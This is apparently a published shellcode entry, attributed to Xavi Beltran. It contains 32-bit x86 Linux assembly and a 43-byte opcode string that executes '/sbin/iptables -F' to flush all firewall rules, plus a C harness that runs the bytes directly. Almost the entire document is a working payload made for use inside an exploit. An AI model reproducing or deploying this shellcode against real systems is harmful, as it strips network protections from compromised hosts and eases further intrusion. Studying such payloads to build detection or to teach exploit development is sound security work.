# Title: Linux/x86 - /sbin/iptables -F Shellcode (43 bytes)
# Author: Xavi Beltran
# Date: 11/05/2019
# Contact: xavibeltran@protonmail.com
# Webpage: https://xavibel.com
# Purpose: flush iptables rules
# Tested On: Ubuntu 3.5.0-17-generic
# Arch: x86
# Size: 43 bytes

#################################### iptables-flush.nasm  ####################################

global _start      

section .text
_start:
  xor eax, eax
  push eax
  push word 0x462d
  mov esi, esp
  push eax
  push dword 0x73656c62
  push dword 0x61747069
  mov edi,esp
  push dword 0x2f2f6e69
  push dword 0x62732f2f
  mov ebx, esp
  push eax
  push esi
  push edi
  mov ecx, esp
  mov al, 11
  int 0x80

####################################### shellcode.c  #######################################

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x56\x57\x89\xe1\xb0\x0b\xcd\x80";

main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}